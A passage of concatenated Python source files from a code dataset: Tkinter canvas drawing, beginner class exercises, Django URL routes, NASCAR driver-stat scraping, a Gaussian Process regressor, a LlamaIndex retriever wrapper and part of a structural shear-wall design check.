Canvas(root, width=200, height=100) ## This creates a canvas for a user to draw frames, shapes, etc.\r\ncanvas.pack()\r\n\r\nLine1 = canvas.create_line(0, 0, 150, 50) ## this creates a line with 0,0 - starting point on x and y axis and 150,50 - ending point on x and y axis\r\nLine2 = canvas.create_line(0, 100, 150, 50, fill='red') ## fill here is to mention the color of the line drawn if not mentioned then by default it displays black.\r\n\r\n## Drawing a rectangle\r\nRectangle1 = canvas.create_rectangle(50, 50, 100, 100, fill = 'yellow')\r\n\r\n## In case to delete a line or anything else\r\n\r\n## canvas.delete(Line2) -- This deletes Line2\r\n## canvas.delete(ALL) -- This deletes everything created \r\n\r\nroot.mainloop()\r\n","repo_name":"sujoyroyskr/Introduction-To-Tkinter","sub_path":"Tkinter9.py","file_name":"Tkinter9.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40632827990","text":"class Bike:\n def __init__(self, price, max_speed):\n self.price = price\n self.max_speed = max_speed\n self.miles = 0\n def displayInfo(self):\n print('Price:',self.price,'Max Speed:',self.max_speed,\"Miles:\",self.miles)\n def ride(self):\n print('Riding')\n self.miles += 10\n return self\n def reverse(self):\n if not(self.miles < 5):\n print('Reversing')\n self.miles -= 5\n return self\n return self\nfirstBike = Bike('$200',\"25mph\")\nsecondBike = Bike('$150',\"23mph\")\nthirdBike = Bike('$190',\"24mph\")\nfirstBike.ride().ride().ride().reverse().displayInfo()\nsecondBike.ride().ride().reverse().reverse().displayInfo()\nthirdBike.reverse().reverse().reverse().displayInfo()\n\n","repo_name":"dcsheive/Python-OOP","sub_path":"Bike.py","file_name":"Bike.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22946551496","text":"from django.urls import path\n# from django.contrib.auth.views import LogoutView\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('logout/', views.custom_logout, name='logout'),\n path('accounts/login/', views.custom_login, name='login'),\n path('custom_login/', views.custom_login, name='custom_login'),\n path('vehiculo/add/', views.vehiculo_add, name='vehiculo_add'),\n path('vehiculo/list/', views.vehiculo_list, name='vehiculo_list'),\n path('vehiculo/administrar/', views.administrar_vehiculos, name='administrar'),\n path('vehiculo/modificar//', views.modificar_vehiculo, name='modificar_vehiculo'),\n path('vehiculo/eliminar//', views.eliminar_vehiculo, name='eliminar_vehiculo'),\n]\n","repo_name":"JseMatamoros/vehiculos","sub_path":"vehiculo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"25859638518","text":"import requests\nimport re\nimport difflib\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime, date\nimport numpy as np\n\ndef get_active_drivers_rr(url):\n page = requests.get(url)\n #get active drivers from table\n df = pd.read_html(page.text)[2]\n #filter to only cup drivers'\n df = df[df['Series'].str.contains(\"Cup\")]\n #return list of drivers\n return df['Driver'].values.tolist()\n\ndef get_active_drivers_espn(url):\n page = requests.get(url)\n #get active drivers from table\n df = pd.read_html(page.text)[0]\n new_header = df.iloc[1] #grab the first row for the header\n df = df[2:] #take the data less the header row\n df.columns = new_header #set the header row as the df header\n #return list of drivers\n return df['NAME'].values.tolist()\n \ndef get_driver_page_rr(driver_name):\n #format name for internet page\n #A_J_Allmendinger = A.J. Allmendinger --> need to remove space and .\n #Kyle_Busch = Kyle Busch --> need to remove space\n #Martin_Truex_Jr = Martin Truex, Jr. --> need to remove space and , and .\n jr_string = \", Jr.\"\n initial_string = \". \"\n if jr_string in driver_name:\n new_name = driver_name.replace(jr_string,\"_Jr\").replace(\" \",\"_\")\n elif initial_string in driver_name:\n new_name = driver_name.replace(initial_string,\"_\").replace(\".\",\"_\") \n else:\n new_name = driver_name.replace(\" \",\"_\")\n #return driver page url\n return f\"https://www.racing-reference.info/driver/{new_name}/\"\n\ndef get_driver_page_espn(driver_name):\n page = requests.get('https://www.espn.com/racing/drivers')\n soup = BeautifulSoup(page.content, 'html.parser')\n #match driver name from rr to espn and get that name\n driver_match = difflib.get_close_matches(driver_name,get_active_drivers_espn('https://www.espn.com/racing/drivers'))\n anchor_field = soup.find(\"a\",text=driver_match[0])['href']\n return f\"https://www.espn.com{anchor_field}\"\n \ndef get_driver_age(driver_url): \n page = requests.get(driver_url)\n soup = BeautifulSoup(page.content, 'html.parser')\n date_field = soup.find(\"b\",text=\"Born:\")\n birthdate = datetime.strptime(date_field.next_sibling.strip(), '%b %d, %Y').date()\n today = date.today()\n #return age\n return today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day))\n \ndef get_driver_cup_table_rr(driver_url):\n page = requests.get(driver_url)\n #return driver table\n return pd.read_html(page.text)[5]\n \ndef get_driver_years_cup (df_driver):\n #return last row first col\n return df_driver.iloc[-1,0]\n \ndef get_driver_champs (df_driver):\n #return count of no1 = champs\n if 1 in df_driver['Rank'].values:\n return df_driver['Rank'].value_counts()[1]\n else:\n return 0\n\ndef get_driver_pole_count (df_driver):\n #return table value of poles\n return df_driver.iloc[-1,6]\n\ndef get_driver_win_count (df_driver):\n #return table value of poles\n return df_driver.iloc[-1,3]\n\ndef get_driver_tfive_count (df_driver):\n #return table value of poles\n return df_driver.iloc[-1,4]\n\ndef get_driver_tten_count (df_driver):\n #return table value of poles\n return df_driver.iloc[-1,5]\n\ndef get_driver_total_race_count (df_driver):\n #return table value of poles\n return df_driver.iloc[-1,2]\n\ndef get_espn_url_code (espn_url):\n match=re.search(r'_/id/\\d+',espn_url)\n return match.group(0)\n\ndef get_espn_driver_year_df (espn_url,year):\n full_url = f'https://www.espn.com/racing/driver/raceresults/{espn_url}/year/{year}'\n page = requests.get(full_url)\n df = pd.read_html(page.text)[1]\n new_header = df.iloc[1] #grab the first row for the header\n df = df[2:] #take the data less the header row\n df.columns = new_header #set the header row as the df header\n return df\n\ndef get_driver_team (espn_url):\n page = requests.get(espn_url)\n soup = BeautifulSoup(page.content, 'html.parser')\n return soup.find(\"li\",class_=\"last\").text.strip().replace(\"Team: \",\"\")\n\ndef clean_and_combine_df (df_list,year_list):\n j=0\n for i in df_list:\n df_list[i] = df_list[i].dropna(axis=1,how='all').copy()\n df_list[i].loc[:,'DATE'] = year_list[j] #how to get correct year\n #Make all Caps\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].str.upper().copy()\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\"NASCAR CUP SERIES AT \",\"\",regex=True).copy()\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\"NASCAR CUP SERIES \",\"\",regex=True).copy()\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\"MONSTER ENERGY \",\"\",regex=True).copy()\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\"NASCAR SPRINT CUP SERIES AT \",\"\",regex=True).copy()\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\"NASCAR NEXTEL CUP SERIES AT \",\"\",regex=True).copy()\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\" #\",\"\",regex=True).copy()\n #remove numbers from track\n df_list[i].loc[:,'RACE']=df_list[i]['RACE'].replace(\"\\d+\",\"\",regex=True).copy()\n #convert cols to numeric\n df_list[i].loc[:,'PLACE'] = pd.to_numeric(df_list[i][\"PLACE\"],errors='coerce').copy()\n df_list[i].loc[:,'START'] = pd.to_numeric(df_list[i][\"START\"],errors='coerce').copy()\n df_list[i].loc[:,'LEAD'] = pd.to_numeric(df_list[i][\"LEAD\"],errors='coerce').copy()\n df_list[i].loc[:,'COMP'] = pd.to_numeric(df_list[i][\"COMP\"],errors='coerce').copy()\n df_list[i].loc[:,'PTS'] = pd.to_numeric(df_list[i][\"PTS\"],errors='coerce').copy()\n df_list[i].loc[:,'BONUS'] = pd.to_numeric(df_list[i][\"BONUS\"],errors='coerce').copy()\n df_list[i].loc[:,'PEN'] = pd.to_numeric(df_list[i][\"PEN\"],errors='coerce').copy()\n j+=1\n big_df=pd.concat(df_list)\n return big_df\n\ndef get_years_in_list(driver_years):\n if driver_years > 7:\n return np.arange(2022,2015,-1).tolist()\n else:\n return np.arange(2022,2022-driver_years,-1).tolist()\n \ndef get_list_of_df_espn (year_list,espn_url):\n d={}\n for year in year_list:\n d[year] = get_espn_driver_year_df(espn_url,year)\n return d\n \ndef get_perct_led(df_rr):\n df_rr['per']=(df_rr.loc[:,'Led']/df_rr.loc[:,'Laps'])*100\n return df_rr\n ","repo_name":"aschutter1983/DriverDataViz","sub_path":"RaceRefScrape.py","file_name":"RaceRefScrape.py","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37071211572","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns # noqa\nfrom sklearn.base import BaseEstimator\nfrom sklearn.exceptions import NotFittedError\nfrom sklearn.utils.validation import check_is_fitted\n\n\nclass GaussianProcess(BaseEstimator):\n \"\"\"\n Fits a Gaussian Process regressor.\n\n Parameters\n ----------\n kernel : Gaus\n\n Attributes\n ----------\n kernel : ml.Kernel\n Kernel function used to compute covariance matrix.\n\n Examples\n --------\n\n Note\n ----\n Most of code is taken from the following tutorial:\n https://katbailey.github.io/post/gaussian-processes-for-dummies/.\n \"\"\"\n def __init__(self, kernel):\n self.kernel = kernel\n self.Xtrain_ = None\n self.ytrain_ = None\n\n def fit(self, X, y):\n \"\"\"\n Computes the Xtrain variance and stores as attribute. Also stores\n Xtrain and ytrain as attributes.\n\n Parameters\n ----------\n X : np.ndarray, shape (-1, n)\n Input.\n y : np.array, shape (n)\n Targets\n\n Returns\n -------\n None\n\n Note\n ----\n Note the K matrix is:\n K_11 K_21\n K_21 K_22\n \"\"\"\n self.Xtrain_ = X\n self.ytrain_ = y\n\n # Compute Xtrain/Xtrain elements of covariance matrix (Xtrain variance)\n K_11 = self.kernel.transform(self.Xtrain_, self.Xtrain_)\n self.L_11_ = np.linalg.cholesky(K_11\n + 0.00005*np.eye(len(self.Xtrain_)))\n\n def predict(self, Xtest, n_samples=1):\n \"\"\"\n Returns predictions for input data by returning the posterior mean (at\n the test points) of the joint distribution of the training data Xtrain\n and the test data Xtest.\n\n High-level Intuition\n --------------------\n * Goal of is to learn distribution over possible \"functions\" f(x) = y.\n * Compute the \"difference\" between the Xtrain data and the Xtest data.\n * Compute the Xtrain covariance \"feature weights\" cov_fw s.t.\n\n XtrainCovMatrix • cov_fw = ytrain\n\n * Compute post. mean by mult. cov_fw by the Xtrain/Xtest \"difference\":\n\n mu = cov_fw • XtrainXtestCovDiff\n\n Parameters\n ----------\n Xtest : np.array\n Input data.\n\n Returns\n -------\n np.array, length len(Xtest)\n Predictions which are the posterior mean of the joint distribution\n of the training data and the test data.\n\n Note\n ----\n Note the K matrix is:\n K_11 K_21\n K_21 K_22\n \"\"\"\n\n '''Compute the posterior mean at test points.'''\n if not self._is_fitted():\n raise NotFittedError()\n\n mu, L_12 = self._compute_mean_and_non_diag_covariance(Xtest)\n\n return mu\n\n def sample(self, Xtest, n_samples=1, use_prior=False):\n \"\"\"\n Returns predictions for input data by returning samples from the either\n the prior or the posterior of the joint distribution of the training\n data Xtrain and the test data Xtest.\n\n If the model is not yet fitted or use_prior=True, then samples from\n prior are returned. Otherwise, samples are taken from the posterior.\n\n Parameters\n ----------\n Xtest : np.array\n Input data.\n n_samples : int, default 1\n Number of samples (predictions) to return.\n use_prior : bool, default False\n Whether or not to sample from the prior distribution. If true,\n posterior is used.\n\n Returns\n -------\n np.ndarray, shape (len(Xtest), n_samples)\n Predictions which are samples drawn from the joint distribution of\n the training data and the test data.\n \"\"\"\n ntest = len(Xtest)\n\n # Compute Xtest covariance and its decomposition (sqroot)\n K_22 = self.kernel.transform(Xtest, Xtest)\n L_22 = np.linalg.cholesky(K_22 + 1e-15*np.eye(ntest))\n\n if use_prior or not self._is_fitted():\n # Sample n_samples sets of standard normals for our test points,\n # then multiply them by the square root of the Xtest covariance.\n f_prior = np.dot(L_22, np.random.normal(size=(ntest, n_samples)))\n\n return f_prior\n\n # Compute mean and non-diagonal (Xtrain/Xtest) elements of cov. matrix\n mu, L_12 = self._compute_mean_and_non_diag_covariance(Xtest)\n\n # Compute sqroot of entire covariance matrix\n L = np.linalg.cholesky(K_22 + 1e-6*np.eye(ntest) - np.dot(L_12.T,\n L_12))\n\n # Sample n_samples sets of standard normals for our test points, then\n # multiply them by the square root of the covariance matrix.\n f_post = mu.reshape(-1, 1) + np.dot(L, np.random.normal(\n size=(ntest, n_samples)))\n\n return f_post\n\n def plot_prior_samples(self, Xtest, n_samples=1):\n \"\"\"\n Plots samples of the prior (defined by kernel) at the test points.\n\n Parameters\n ----------\n Xtest : np.array\n Input data.\n n_samples : int, default 1\n Number of samples (predictions) to return.\n\n Returns\n -------\n fig : matplotlib.figure.Figure\n Plotted figure\n axes : tuple\n Axes used for plotting.\n \"\"\"\n f_prior = self.sample(Xtest, n_samples, use_prior=True)\n\n # Now let's plot the sampled functions.\n fig, ax = plt.subplots(1, 1, figsize=(7, 4))\n\n # Sort values for better plotting\n sort_idx = np.argsort(Xtest.flatten())\n Xtest_sorted = np.take_along_axis(Xtest.flatten(), sort_idx, axis=0)\n\n for sample in range(n_samples):\n f_prior_sorted = np.take_along_axis(f_prior[:, sample], sort_idx,\n axis=0)\n ax.plot(Xtest_sorted, f_prior_sorted,\n label='Prior Sample {} (predictions)'.format(sample))\n\n ax.set_title('{} samples from the GP prior'.format(n_samples))\n ax.legend()\n plt.show()\n\n return fig, (ax)\n\n def plot_posterior_samples(self, Xtest, n_samples=1):\n \"\"\"\n Plots samples of the posterior at the test points.\n\n Parameters\n ----------\n Xtest : np.array\n Input data.\n n_samples : int, default 1\n Number of samples (predictions) to return.\n\n Returns\n -------\n fig : matplotlib.figure.Figure\n Plotted figure\n axes : tuple\n Axes used for plotting.\n\n Note\n ----\n Model instance must be fitted prior to calling this method.\n \"\"\"\n # Compute mean and non-diagonal (Xtrain/Xtest) elements of cov. matrix\n mu, L_12 = self._compute_mean_and_non_diag_covariance(Xtest)\n\n # Compute Xtest covariance\n K_22 = self.kernel.transform(Xtest, Xtest)\n\n # Compute the standard deviation so we can plot it\n s2 = np.diag(K_22) - np.sum(L_12**2, axis=0)\n stdv = np.sqrt(s2)\n\n # Create figure and axis for plotting\n fig, ax = plt.subplots(1, 1, figsize=(10, 6))\n\n # Sort values for better plotting\n sort_idx = np.argsort(Xtest.flatten())\n Xtest_sorted = np.take_along_axis(Xtest.flatten(), sort_idx, axis=0)\n mu_sorted = np.take_along_axis(mu, sort_idx, axis=0)\n\n # Plot training data points\n ax.plot(self.Xtrain_, self.ytrain_, 'bs', ms=8, label='Train')\n\n # Plot posterior mean\n ax.plot(Xtest_sorted, mu_sorted, '--r',\n label='Posterior $\\mu$') # noqa\n\n # Sample from posterior\n f_post = self.sample(Xtest, n_samples)\n\n # Plot sampled functions\n for sample in range(n_samples):\n f_post_sorted = np.take_along_axis(f_post[:, sample], sort_idx,\n axis=0)\n ax.plot(Xtest_sorted, f_post_sorted,\n label='Posterior Sample {} (predictions)'.format(sample))\n\n # Plot standard deviation\n plt.gca().fill_between(Xtest_sorted, mu_sorted-2*stdv,\n mu_sorted+2*stdv, color='#999999', alpha=.4)\n ax.set_title('{} samples from the GP posterior'.format(n_samples))\n ax.legend()\n plt.show()\n\n return fig, (ax)\n\n def _is_fitted(self):\n \"\"\"\n Helper method to check if instance is fitted or not.\n\n Parameters\n ----------\n N/A\n\n Returns\n -------\n bool\n True if model is fitted, otherwise false.\n \"\"\"\n try:\n check_is_fitted(self, ['Xtrain_', 'ytrain_', 'L_11_'])\n return True\n except NotFittedError:\n return False\n\n def _compute_mean_and_non_diag_covariance(self, Xtest):\n \"\"\"\n Computes Xtrain/Xtest covariance and the mean of the joint train/test\n posterior.\n\n Parameters\n ----------\n Xtest : np.array\n Input data\n\n Returns\n -------\n np.array, shape (len(Xtest))\n Posterior mean.\n np.ndarray, shape TODO\n Xtrain/Xtest covariance.\n \"\"\"\n ntest = len(Xtest)\n\n # Compute Xtrain/Xtest elements of covariance metrix\n K_12 = self.kernel.transform(self.Xtrain_, Xtest)\n\n # Compute the \"difference\" between the Xtrain data and the Xtest data.\n # L_11_ is the sqroot of Xtrain Covariance.\n # K_12 is the covariance of Xtrain and Xtest\n # Therefore, L_12 is the matrix that solves: (L_11)(L_12) = K_12.\n L_12 = np.linalg.solve(self.L_11_, K_12)\n\n # Compute the Xtrain covariance \"feature weighs\".\n # np.linalg.solve returns x in Ax=B, where A = L_11 and B = y_train\n # We can interpret x as the feature weights. In other words, this\n # step returns the feature weights where the inputs is the\n # Xtrain/Xtrain covariance matrix elements.\n cov_fw = np.linalg.solve(self.L_11_, self.ytrain_).reshape(ntest,)\n\n # Obtain the posterior mean by multiplying the cov_fw by the\n # \"difference\" b/w Xtrain and Xtest.\n # L12 is the \"difference\" b/w Xtrain/Xtest covariances.\n # cov_fw are the weights that produce ytrain when multiplied by\n # Xtrain.\n mu = np.dot(L_12.T, cov_fw)\n\n return mu, L_12\n","repo_name":"jackblandin/research","sub_path":"research/ml/gaussian_process.py","file_name":"gaussian_process.py","file_ext":"py","file_size_in_byte":10653,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"31854115147","text":"import random\nlist_1=[i for i in range(0, random.randint(1,27))]\nprint(list_1)\nlist_2=[i for i in range(0, random.randint(1,27))]\nprint(list_2)\nfor number in list_1[:]:\n if number in list_2:\n list_1.remove(number)\nprint(list_1)\nresult=list(set(list_1) ^ set(list_2))\nprint(list_1)\n\n","repo_name":"IvAlyosha/Python_Ivanov_main","sub_path":"Основы Python/dz2.py","file_name":"dz2.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38885928543","text":"\nfrom typing import List\nfrom pydantic import BaseModel\nfrom llama_index.retrievers import BaseRetriever as LlamaBaseRetriever\n\nfrom llama_index.indices.base import BaseIndex\nfrom langchain.schema import Document, BaseRetriever\n\nDEFAULT_PERSIST_PATH = \"llama_index\"\n\n\nclass LlamaRetriever(BaseRetriever, BaseModel):\n index: BaseIndex\n retriever: LlamaBaseRetriever\n \n class Config:\n arbitrary_types_allowed = True\n\n def persist(self, path: str = DEFAULT_PERSIST_PATH) -> None:\n self.index.storage_context.persist(path)\n\n def get_relevant_documents(self, query: str) -> List[Document]:\n nodes = self.retriever.retrieve(query)\n docs = []\n for n in nodes:\n d = Document(page_content=n.node.get_text(),\n metadata=n.node.node_info)\n d.metadata['score'] = n.score\n docs.append(d)\n docs.sort(key=lambda doc: doc.metadata['score'], reverse=True)\n return docs\n\n async def aget_relevant_documents(self, docs: List[Document]) -> List[Document]:\n raise NotImplementedError\n \n \n","repo_name":"shaofengniu/auto_eval","sub_path":"llama.py","file_name":"llama.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"16150433281","text":"#!/usr/bin/python3\n\"\"\"writing a class student that defines a student\"\"\"\n\n\nclass Student:\n \"\"\"the class student to define a stdent\"\"\"\n def __init__(self, first_name, last_name, age):\n self.first_name = first_name\n self.last_name = last_name\n self.age = age\n\n def to_json(self, attrs=None):\n if isinstance(attrs, str):\n attrs = [attrs]\n # elif isinstance(attrs, list) and all(isinstance(i, str) for i in att\n else:\n dictionary = {}\n for key in self.__dict__:\n dictionary[key] = self.__dict__[key]\n\n return dictionary\n # else:\n # return self.__dict__\n","repo_name":"mankindjnr/alx-higher_level_programming","sub_path":"0x0B-python-input_output/10-student.py","file_name":"10-student.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38752111805","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# File : __del丶str__丶__init结合使用.py\r\n# Author: MuNian\r\n# Date : 2019/7/20\r\n\r\n'''\r\n建一个房子 户型 面积 添加家具\r\n买家具: 家具名称 家具的占地面积\r\n\r\n两个类一般先写被使用的类\r\n__str__: 返回对象的描述信息 返回的类型为字符串 自动调用\r\n\r\n'''\r\n\r\nclass Furniture:\r\n ''' 家具类 '''\r\n def __init__(self, furniture_name, area):\r\n '''\r\n :param furniture_name: 家具名称\r\n :param area: 家具的占地面积\r\n '''\r\n self.furniture_name = furniture_name\r\n self.area = area\r\n\r\n def __str__(self):\r\n return '家具名称:{}, 占地面积为:{}'.format(self.furniture_name, self.area)\r\n\r\n # def __del__(self):\r\n # ''' 在程序被销毁(程序结束完)前会自动执行del方法\r\n # 永远是在最后执行的\r\n # '''\r\n # print('{}占地:{}'.format(self.furniture_name, self.area))\r\n\r\n\r\nclass Home:\r\n ''' 房子类 '''\r\n def __init__(self, house_type, area):\r\n '''\r\n :param house_type: 户型\r\n :param area: 总面积\r\n '''\r\n self.house_type = house_type\r\n self.area = area\r\n # 剩余面积\r\n self.free_area = area\r\n # 家具列表\r\n self.item = []\r\n\r\n def __str__(self):\r\n return '房子的户型:{}\\n房子的面积:{}\\n房子剩余面积:{}\\n家具列表:{}'.format(\r\n self.house_type, self.area, self.free_area, self.item\r\n )\r\n\r\n def add_item(self, item):\r\n print('现在添加的是{}'.format(item.furniture_name))\r\n if self.free_area > item.area:\r\n # 剩余面积 = 总面积 - 家具的面积\r\n self.free_area = self.free_area - item.area\r\n self.item.append(item.furniture_name)\r\n\r\n else:\r\n print('家具{}太大了 放不下了'.format(item.furniture_name))\r\n\r\n\r\nXiMengSi = Furniture('席梦思', 15)\r\nZhuozi = Furniture('桌子1', 10)\r\nZhuozi2 = Furniture('桌子2', 20)\r\nZhuozi3 = Furniture('桌子3', 5)\r\nZhuozi4 = Furniture('桌子4', 12)\r\nhome = Home('北京一环大别墅', 150)\r\nhome.add_item(XiMengSi)\r\nhome.add_item(Zhuozi)\r\nhome.add_item(Zhuozi2)\r\nhome.add_item(Zhuozi3)\r\nhome.add_item(Zhuozi4)\r\nprint(home)","repo_name":"PickHeBin/Python-","sub_path":"面向对象/__del丶str__丶__init结合使用.py","file_name":"__del丶str__丶__init结合使用.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"17193047689","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThe following are the functions to check shear walls for in - plane bending and\r\nshear against NZ code. Confinement and anti-buckling are also calculated as to \r\nNZS 3101:2006.\r\n\r\nContact:\r\nray.laxmidas@mottmac.com\r\n\r\nInputs Variable Names:\r\n wall_types =\r\n 1 = Elastic\r\n 2 = Limited Ductile\r\n 3 = Fully Elastic\r\n t = wall thickness\r\n l_w = Horizontal lenght of the wall\r\n fc = Concrete compressive strenght\r\n fy = Yield strength of longitudinal reinforcement\r\n fyt = Yield strength of horizontal reinforcement\r\n dbl = Diameter of longitudinal bars\r\n sv = Spacing of vertical reinforcement\r\n nL = number of layers of reinforcement \r\n N_max = maximum axial force (where Compression = (-), Tension = (+), kN)\r\n M_max = maximum major axis bending (kNm)\r\n dross =\r\n 1 = for dross back calculation\r\n 2 = for main wall reo\r\n d_bh = diameter of horizontal reinforcement\r\n\"\"\"\r\nimport math\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n#Function is used to find the tensile force in each of the bars in the shear wall.\r\ndef check_bars(c,c_end,l_w,fy,dbl,nL,b1,a1,t,fc,N_max,sv):\r\n column_names = [\"bar\", \"bar status\", \"es\", \"fs\", \"Fs\", \"Fs(d - a/2)\"]\r\n df = pd.DataFrame(np.zeros((100,6)),columns = column_names)\r\n \r\n for ind in df.index:\r\n #Bar Positions\r\n if ind == 0:\r\n df.loc[ind]['bar'] = c_end \r\n else:\r\n df.loc[ind]['bar'] = sv + df.loc[ind-1]['bar']\r\n \r\n #Set Bar Status\r\n if df.loc[ind]['bar'] > l_w - c_end:\r\n df.loc[ind]['bar status'] = -1\r\n elif df.loc[ind]['bar'] < c:\r\n df.loc[ind]['bar status'] = 0 #Bar in compression\r\n else: \r\n df.loc[ind]['bar status'] = 1 #Bar in tension\r\n \r\n #Setting e.s\r\n if df.loc[ind]['bar status'] == 0:\r\n df.loc[ind]['es'] = 0\r\n elif df.loc[ind]['bar status'] == -1:\r\n df.loc[ind]['es'] = 0\r\n else:\r\n df.loc[ind]['es'] = 0.003*(df.loc[ind]['bar'] - c)/c\r\n \r\n #Setting fs\r\n df.loc[ind]['fs'] = min(df.loc[ind]['es']*200000,fy)\r\n \r\n #Setting Fs\r\n df.loc[ind]['Fs'] = (df.loc[ind]['fs']*(dbl**2)*math.pi*nL)/4000\r\n \r\n #Setting Fs(d-a/2)\r\n df.loc[ind]['Fs(d - a/2)'] = df.loc[ind]['Fs']*(df.loc[ind]['bar']-0.5*(b1*c))/1000\r\n \r\n #Calculate total tension in bars\r\n Ts1 = df['Fs'].sum(skipna=True) \r\n Ts2 = df['Fs(d - a/2)'].sum(skipna=True)\r\n \r\n #Cclaulate Concrete Compression\r\n Cc = a1*b1*c*t*fc/1000\r\n N_max2 = N_max*(0.5*l_w-(0.5*b1*c))/1000\r\n \r\n #Target for goal seek\r\n delta = Ts1 + N_max - Cc\r\n \r\n #Moment Capacity\r\n M_capacity = 0.85*(Ts2 + N_max2)\r\n \r\n return [delta,M_capacity] \r\n\r\n\"\"\"\r\nThe following function calculatures the flexural capacity of the shear walls.\r\nOutputs:\r\n Moment Capacity\r\n Bar Diameter Check (Ture = OKAY, False = Not OKAY)\r\n Spacing Check (True = OKAY, False = Not OKAY)\r\n Ratio Check (True = OKAY, False = Not OKAY) \r\n\"\"\"\r\ndef flexural_design(wall_types,t,l_w,fc,fy,fyt,dbl,sv,nL,N_max,M_max,cover,dross,d_bh): \r\n print('-------------------------Flexural Checks--------------------------')\r\n print('-------------------------Input parameters-------------------------')\r\n print('Wall thickness = ', t, 'mm')\r\n print('Horizontal lenght of the wall = ', l_w, 'mm')\r\n print('fc = ', fc, 'MPa')\r\n print('fy = ', fy, 'MPa')\r\n print('Diameter of longitudinal bars = ', dbl, 'mm')\r\n print('Diameter of horizontal reinforcement = ', d_bh, 'mm')\r\n print('Spacing of vertical reinforcement = ', sv, 'mm')\r\n print('Number of layers of reinforcement =', nL, 'Layers')\r\n print('N*', N_max, 'kN')\r\n print('M*', M_max, 'kNm')\r\n \r\n if dross == 1:\r\n print('Calculations are for starter bars')\r\n \r\n print('----------------------Spacing and Reo Checks-----------------------')\r\n #Calculate the maixmum longituindal bar diameter\r\n if wall_types == 1: \r\n dbl_max = t/7\r\n elif wall_types == 2:\r\n dbl_max = t/8\r\n else:\r\n dbl_max = t/10\r\n print('Maximum bar diameter =' ,round(dbl_max,2),'mm')\r\n \r\n #Checking the bar diameter\r\n if dbl_max > dbl:\r\n bar_dia_check = 1 #Bar diameter OKAY\r\n print('Selected Bar Diameter is OKAY')\r\n else:\r\n bar_dia_check = 0 #Bar diameter NOT OKAY\r\n print('Selected Bar Diameter is NOT OKAY')\r\n \r\n #Calculate the maximum spacing\r\n sv_max = min(450,3*t)\r\n print('Maximum bar spacing =' ,round(sv_max,0),'mm')\r\n \r\n #Checking the spacing\r\n if sv > sv_max:\r\n spacing_check = 0 #Spacing NOT OKAY\r\n print('Selected Bar Spacing is NOT OKAY')\r\n else: \r\n spacing_check = 1 #Spacing OKAY\r\n print('Selected Bar Spacing is OKAY')\r\n \r\n #Calculate the cover to end bar, each end\r\n if dross == 1:\r\n c_end = cover + d_bh + 0.5*dbl + 0.5*sv\r\n else:\r\n c_end = cover + d_bh #Main reo\r\n \r\n #Calculate wall reinforcement area\r\n As = nL*dbl**2*math.pi*l_w/(4*sv)\r\n print('Area of wall reo =', round(As,0), 'mm^2')\r\n \r\n #Calculate vertical reinforcement ratio\r\n pn = As / (t*l_w)\r\n print('Reo Rate =',round(pn,6))\r\n \r\n #Calculate minimum reinforcment ratio\r\n pn_min = max(math.sqrt(fc)/(4*fy),0.7/fy,0.0014)\r\n print('Minimum Reo Rate =',round(pn_min,6))\r\n \r\n #Checking reinforcement ratio\r\n if pn > pn_min:\r\n ratio_check = 1 #Ratio OKAY\r\n print('Reo Rate OKAY')\r\n else:\r\n ratio_check = 0 #Ratio NOT OKAY\r\n print('Reo Rate NOT OKAY')\r\n \r\n #Moment capacity\r\n if fc < 55:\r\n a1 = 0.85\r\n elif fc < 80:\r\n a1 = 0.85 - 0.004*(fc - 55)\r\n else:\r\n a1 = 0.75\r\n \r\n if fc < 30:\r\n b1 = 0.85\r\n elif fc <= 55:\r\n b1 = 0.85 - 0.008*(fc - 30)\r\n else:\r\n b1 = 0.65\r\n \r\n c = 1\r\n result = check_bars(c,c_end,l_w,fy,dbl,nL,b1,a1,t,fc,N_max,sv)\r\n lower = 0\r\n upper = 10000\r\n \r\n #Finding the value of the compression block using binary search.\r\n while abs(result[0])>= 10:\r\n if result[0] < 0: \r\n upper = c\r\n c = (lower + upper)/2\r\n result = check_bars(c,c_end,l_w,fy,dbl,nL,b1,a1,t,fc,N_max,sv)\r\n if result[0] > 0:\r\n lower = c\r\n c = (lower + upper)/2\r\n result = check_bars(c,c_end,l_w,fy,dbl,nL,b1,a1,t,fc,N_max,sv)\r\n \r\n print('-------------------------------Results-------------------------------')\r\n print('Depth to Neutral Axis:',round(c,1), 'mm') \r\n result = 